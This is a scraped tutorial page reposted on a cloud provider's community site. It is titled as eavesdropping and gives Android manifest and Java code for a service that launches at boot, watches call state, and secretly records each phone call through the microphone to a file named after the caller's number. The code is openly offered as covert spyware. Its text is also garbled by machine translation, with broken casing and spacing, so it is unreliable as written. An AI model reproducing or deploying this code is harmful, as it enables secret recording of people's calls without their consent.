Android audio recording (eavesdropping)

Source: Internet
Author: User

Configuration File

<? XML version = "1.0" encoding = "UTF-8"?> <Manifest xmlns: Android = "http://schemas.android.com/apk/res/android" package = "codefans. APP "Android: versioncode =" 1 "Android: versionname =" 1.0 "> <uses-SDK Android: minsdkversion =" 8 "/> <! -- Listen to the phone status permission --> <uses-Permission Android: Name = "android. Permission. read_phone_state"/> <! -- Create and delete file permissions in sdcard --> <uses-Permission Android: Name = "android. Permission. mount_unmount_filesystems"/> <! -- Write data permission on sdcard --> <uses-Permission Android: Name = "android. Permission. write_external_storage"/> <! -- Enter the voice permission --> <uses-Permission Android: Name = "android. permission. record_audio "/> <application Android: icon =" @ drawable/ic_launcher "Android: Label =" @ string/app_name "> <service android: Name = ". phoneservice "> </service> <receiver Android: Name = ". phonebroadcastreceiver "> <intent-filter> <action Android: Name =" android. intent. action. boot_completed "/> <! -- Start broadcast at startup --> </intent-filter> </receiver> </Application> </manifest>

Public class phoneservice extends Service {@ overridepublic ibinder onbind (intent) {// todo auto-generated method stubreturn NULL;} @ overridepublic void oncreate () {super. oncreate (); telephonymanager = (telephonymanager) getsystemservice (context. telephony_service); telephonymanager. listen (New phonelistener (), phonestatelistener. listen_call_state); // registers the listener to listen to the phone status} private final class Phonelistener extends phonestatelistener {private string incomenumber; // call number private mediarecorder; private file; @ overridepublic void oncallstatechanged (INT state, string incomingnumber) {try {Switch (state) {Case telephonymanager. call_state_ringing: // call this. incomenumber = incomingnumber; break; Case telephonymanager. call_state_offhook: // call file = new file (environment. getexternalsto Ragedirectory (), this. incomenumber + system. currenttimemillis () + ". 3GP "); mediarecorder = new mediarecorder (); mediarecorder. setaudiosource (mediarecorder. audiosource. MIC); // obtain the audio data source mediarecorder. setoutputformat (mediarecorder. outputformat. three_gpp); // output mediarecorder in 3GP format. setaudioencoder (mediarecorder. audioencoder. amr_nb); mediarecorder. setoutputfile (file. getabsolutepath (); // output file mediarecorder. P Repare (); // prepare mediarecorder. Start (); break; Case telephonymanager. call_state_idle: // disconnect the call if (mediarecorder! = NULL) {mediarecorder. stop (); mediarecorder. release (); mediarecorder = NULL;} break;} catch (illegalstateexception e) {// todo auto-generated catch blocke. printstacktrace ();} catch (ioexception e) {// todo auto-generated catch blocke. printstacktrace ();}}}}

Public class phonebroadcastreceiver extends broadcastreceiver {@ overridepublic void onreceive (context, intent) {intent service = new intent (context, phoneservice. class); context. startservice (service); // start the service }}

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.